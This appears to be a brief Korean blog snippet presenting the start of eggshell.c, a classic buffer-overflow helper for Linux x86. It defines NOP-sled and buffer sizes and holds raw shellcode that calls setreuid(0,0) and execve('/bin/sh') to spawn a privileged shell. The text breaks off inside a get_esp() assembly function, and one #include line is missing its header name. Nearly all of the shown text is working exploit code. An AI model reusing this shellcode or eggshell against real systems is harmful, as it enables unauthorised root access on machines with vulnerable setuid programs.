Dork's port

환경 변수 등록 및 쉘 실행 //eggshell.c #include #define _OFFSET 0 #define _BUFFER_SIZE 512 #define _EGG_SIZE 2048 #define NOP 0x90 char shellcode[] ="\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80"; unsigned long get_esp(){ __asm__ __volatile__("movl %e..